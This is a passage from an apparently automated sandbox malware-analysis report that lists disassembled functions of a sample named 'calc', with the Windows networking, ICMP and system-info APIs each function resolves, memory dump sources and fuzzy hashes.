    • Opcode Fuzzy Hash: 404e9111c6e6801255c94cdd9c4d6e53c8d3ef9f70bd27f46ab3d7b24d408f0c
    • Instruction Fuzzy Hash: 23D0C970640303EECB206F65D8897137AF8AB54703F60887BB499D1662D778D444CA2D
    Function 0040EE00 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(kernel32.dll,0040ED52), ref: 0040EE0B
    • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0040EE1D
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: GetNativeSystemInfo$kernel32.dll
    • API String ID: 2574300362-192647395
    • Opcode ID: 0b96ee1863518c42de66b1f26a690429182ced4a93e9530b1a523ccbf49fe990
    • Instruction ID: 4ae1193dba9c48cb0c5664eca05f475a23552d859b8bf3b4555ea32bba526360
    • Opcode Fuzzy Hash: 0b96ee1863518c42de66b1f26a690429182ced4a93e9530b1a523ccbf49fe990
    • Instruction Fuzzy Hash: 90D09270940706EFCB309F62C88971376A8AB04742F20886EA899A2292D77894448A58
    Function 0040EE27 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(kernel32.dll,0040EDDC,00000000,0040ED1A,00000000), ref: 0040EE32
    • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0040EE44
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: IsWow64Process$kernel32.dll
    • API String ID: 2574300362-3024904723
    • Opcode ID: 1e4c4c52eaf14ae59e37d506b1a8826225f3cb419422225db61ca319c80d633e
    • Instruction ID: 4d2749d2037bdd5891abe0ff91837f8b9674c2f4ff14754d6a40b5c982573c9e
    • Opcode Fuzzy Hash: 1e4c4c52eaf14ae59e37d506b1a8826225f3cb419422225db61ca319c80d633e
    • Instruction Fuzzy Hash: CFD0C9B0540706EECB219F62CC89B1376E8AB10703F248C7BF899E2291D778C444CB5C
    Function 0042FEC4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042FD60,00000000,0042AA4D,?,?,?,?,?,00000001,00000000,00000000,00000002,00000000,00000002,?), ref: 0042FECF
    • GetProcAddress.KERNEL32(00000000,InternetConnectW), ref: 0042FEE1
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: InternetConnectW$Wininet.dll
    • API String ID: 2574300362-1624158369
    • Opcode ID: d55e37cb5c0b998d5704e0510165499c229194de1f36175613f9725cb941f9c2
    • Instruction ID: 6beab622e64ffd3ffafc19c2bb0389d1e9587c3fa6564a3e8a594d243805a38b
    • Opcode Fuzzy Hash: d55e37cb5c0b998d5704e0510165499c229194de1f36175613f9725cb941f9c2
    • Instruction Fuzzy Hash: 9CD0C770641302EFC7509F61E849B2376F4BB50713F51887EB486D1161D778C444CA1E
    Function 0042FEEB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042AF68), ref: 0042FEF6
    • GetProcAddress.KERNEL32(00000000,FtpGetFileSize), ref: 0042FF08
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: FtpGetFileSize$Wininet.dll
    • API String ID: 2574300362-2899565566
    • Opcode ID: bf1f0fae169dbb848176434d40dda45f633b0226ec4bdb1ab3f46c69e1570896
    • Instruction ID: 6e2f1a3589dd496c4a574bc58a45a2a8ffee36e7460e454037f1e55863833db7
    • Opcode Fuzzy Hash: bf1f0fae169dbb848176434d40dda45f633b0226ec4bdb1ab3f46c69e1570896
    • Instruction Fuzzy Hash: 00D0C970641312EEEB204F61EC897137AF8AB51702F60887BB485D2261E778D444CA1E
    Function 0042FE9D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042A74E), ref: 0042FEA8
    • GetProcAddress.KERNEL32(00000000,InternetOpenW), ref: 0042FEBA
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: InternetOpenW$Wininet.dll
    • API String ID: 2574300362-877548236
    • Opcode ID: 34b87f62cfdf380b8ccbfa36128968db94369e509c6d5735b559491f206b4e66
    • Instruction ID: 0d5205680ce1cf61959fbead00ef169317bcd9810b75d67f5dafcbe366c6e18d
    • Opcode Fuzzy Hash: 34b87f62cfdf380b8ccbfa36128968db94369e509c6d5735b559491f206b4e66
    • Instruction Fuzzy Hash: 3FD0C970641302EECB218F65E849B137AF8AF40707F6088BBB486D1261F778D944CA2E
    Function 0042FF60 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(ICMP.DLL,0042EE02,00000000), ref: 0042FF6B
    • GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 0042FF7D
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: ICMP.DLL$IcmpCreateFile
    • API String ID: 2574300362-275556492
    • Opcode ID: 448ed7840704bb0c97f5a272b10aeb282cfbf60d1182337d8a215b2e0715e45b
    • Instruction ID: bf7179da54abc46cd951648f6e6908f67397438e0fda1f0a3b4423561e902304
    • Opcode Fuzzy Hash: 448ed7840704bb0c97f5a272b10aeb282cfbf60d1182337d8a215b2e0715e45b
    • Instruction Fuzzy Hash: E6D0C970B84302EADB208F61D94971376E8AB04742FA0887BF486D1250EB78D844CE1D
    Function 0042FF12 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042B04C,?,00000000), ref: 0042FF1D
    • GetProcAddress.KERNEL32(00000000,InternetCrackUrlW), ref: 0042FF2F
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: InternetCrackUrlW$Wininet.dll
    • API String ID: 2574300362-347599637
    • Opcode ID: e9d49308bcfc6781801864efc9e89498d0e92c33abf54bec09941dec22f01ff2
    • Instruction ID: 5ff5592ba0a425792e03ce43277024437636c0b2cb541ece127d41c82a77f44a
    • Opcode Fuzzy Hash: e9d49308bcfc6781801864efc9e89498d0e92c33abf54bec09941dec22f01ff2
    • Instruction Fuzzy Hash: 30D0C770651302EECB104F71D849B13B6F46B61703F50887BB445D1191E77CD454CB1E
    Function 0042FF39 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(kernel32.dll,0042E1E0), ref: 0042FF44
    • GetProcAddress.KERNEL32(00000000,GlobalMemoryStatusEx), ref: 0042FF56
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: GlobalMemoryStatusEx$kernel32.dll
    • API String ID: 2574300362-2840702992
    • Opcode ID: 94cea872562736caa615b9a265b0d0f8118fda40b181ffbbb9525ecd0ba62313
    • Instruction ID: 8a938186144a47b9956747278f1c4d40b4f4c98024efec04d135bd045ace993e
    • Opcode Fuzzy Hash: 94cea872562736caa615b9a265b0d0f8118fda40b181ffbbb9525ecd0ba62313
    • Instruction Fuzzy Hash: 95D0C770644702DEC7105F61D94971377E4AB41742F51887BF45AD13A6D778D448C71D
    Function 0042FFD5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042FCCB,00479E08,0042A8BD,0047A12C,00479E08,00000000,?,00479E08,?,?,?,?,?,00401261,00000001), ref: 0042FFE0
    • GetProcAddress.KERNEL32(00000000,InternetCloseHandle), ref: 0042FFF2
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: InternetCloseHandle$Wininet.dll
    • API String ID: 2574300362-2671934185
    • Opcode ID: da7a4e695b75a524f41592d6218b4e95730e5d58a7a56d9fa048062187c07d0c
    • Instruction ID: 5f85477641528b649044d5b180d8833ed898c78725f852d861f6adab056468e1
    • Opcode Fuzzy Hash: da7a4e695b75a524f41592d6218b4e95730e5d58a7a56d9fa048062187c07d0c
    • Instruction Fuzzy Hash: 9BD0C970645303EEDB204F61D8497137AF8AB51706F608D7BB585D12A0EBB8C854CA1E
    Function 0042FFFC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042FD4A,00000003,0042ABAC,?,00000000,00000000,00000000,?,00000000,00000002,00000000,00000002,?,?,?), ref: 00430007
    • GetProcAddress.KERNEL32(00000000,InternetOpenUrlW), ref: 00430019
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: InternetOpenUrlW$Wininet.dll
    • API String ID: 2574300362-1201172734
    • Opcode ID: 141d25df4eb92c3a49c7ef6aa85ce327791cac5de94b58be8ec3f37f1331c0b2
    • Instruction ID: 5a4cbaa502e8c8f1ab29dba965d814a9a2628aecf7a0e04567c8e0bf69dd12b8
    • Opcode Fuzzy Hash: 141d25df4eb92c3a49c7ef6aa85ce327791cac5de94b58be8ec3f37f1331c0b2
    • Instruction Fuzzy Hash: 5DD0C970641306FECB209FA1D8597137AFCAB48702F20D96EB486D1262E778D840CE1E
    Function 0042FF87 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(ICMP.DLL,0042EE92,00000000,00000101,?,00000000), ref: 0042FF92
    • GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 0042FFA4
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: ICMP.DLL$IcmpCloseHandle
    • API String ID: 2574300362-3530519716
    • Opcode ID: 0028ad27e4753e6a7c9841a6e405e2d916431237add922c083a50b67822741ce
    • Instruction ID: 4ad17662a18769c5ca722e306ae6d49d0565d4f0a8ec4b6744b8708eb146cff8
    • Opcode Fuzzy Hash: 0028ad27e4753e6a7c9841a6e405e2d916431237add922c083a50b67822741ce
    • Instruction Fuzzy Hash: 70D0C970644302EFDB208F61D949B1B76E8AB00702F608C7BF487D2254EB78D494DA1D
    Function 0042FFAE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(ICMP.DLL,0042EE9F,00000000,00000101,?,00000000), ref: 0042FFB9
    • GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 0042FFCB
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: ICMP.DLL$IcmpSendEcho
    • API String ID: 2574300362-58917771
    • Opcode ID: 5c744039cc312e32fa68ca1fd5a98d9c5030e6167d7fc7856f0a5a5cb21ae833
    • Instruction ID: 2527bdccc761a368fe9d4b677af4fa62b435770a335d842e50a769aa11b7ee6a
    • Opcode Fuzzy Hash: 5c744039cc312e32fa68ca1fd5a98d9c5030e6167d7fc7856f0a5a5cb21ae833
    • Instruction Fuzzy Hash: 2BD0C970644302EADB208F61DA4971376E8AB00706F61887BF486D1A90EB78D444CB1D
    Function 00403AB0 Relevance: 6.1, APIs: 4, Instructions: 148COMMON
    Download Yara Rule
    APIs
    • GetClassNameW.USER32(00000000,?,00000400), ref: 00403AE7
    • GetWindowTextW.USER32(00000000,?,00000400), ref: 00403B25
    • CharUpperBuffW.USER32(?,00000000), ref: 00403B42
    • GetWindowTextW.USER32(00000000,?,00000400), ref: 00403BB0
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: TextWindow$BuffCharClassNameUpper
    • String ID:
    • API String ID: 4150757866-0
    • Opcode ID: d8c742284a62cca0cfe2f0d7f3300dba5fdb013f6cc35493e1cacb547e24c2a7
    • Instruction ID: 0584a30db60857092b00d2278fbf8332574566965ff49f28b8e04b70d15a5c85
    • Opcode Fuzzy Hash: d8c742284a62cca0cfe2f0d7f3300dba5fdb013f6cc35493e1cacb547e24c2a7
    • Instruction Fuzzy Hash: 19512172804549BEDB11DF50C945AEABBBCFF0431AF1480A7D405B2582DB38AF96CB94
    Function 004080B0 Relevance: 6.1, APIs: 4, Instructions: 119COMMON
    Download Yara Rule
    APIs
    • GetWindowRect.USER32(?,?), ref: 0040811D
    • InvalidateRect.USER32(?,00000000,00000000,?,?,?), ref: 00408185
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Rect$InvalidateWindow
    • String ID:
    • API String ID: 2377233956-0
    • Opcode ID: fea54292c0e1d2534fd66d1e25aac67a1e4b5e63873669762bc16cc831050328
    • Instruction ID: 74dc3bcb53b80da343a71e2514c747408086c0bef610d4d3420c968f332f9c05
    • Opcode Fuzzy Hash: fea54292c0e1d2534fd66d1e25aac67a1e4b5e63873669762bc16cc831050328
    • Instruction Fuzzy Hash: DD416D71900609EFCB15DF64C981AAEB7B1FF44310F10416EEA62BB2D1DB74AD61CB58
    Function 00406BB2 Relevance: 6.1, APIs: 4, Instructions: 119COMMON
    Download Yara Rule
    APIs
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CursorDeleteDestroyObject
    • String ID:
    • API String ID: 1476932828-0
    • Opcode ID: 1e5da546bdd14cc893a35634ba3a52cc5e227db2df9398bf0c0a04b3069a8235
    • Instruction ID: 5190c236cba640713588830f41552d92e9898bcea78dae1d236462c55c98861b
    • Opcode Fuzzy Hash: 1e5da546bdd14cc893a35634ba3a52cc5e227db2df9398bf0c0a04b3069a8235
    • Instruction Fuzzy Hash: C94193716043118FE724DF69D98896B77A8FF04315B16092FE982E3391C73DEC14CA99
    Function 004309C0 Relevance: 6.1, APIs: 4, Instructions: 114COMMON
    Download Yara Rule
    APIs
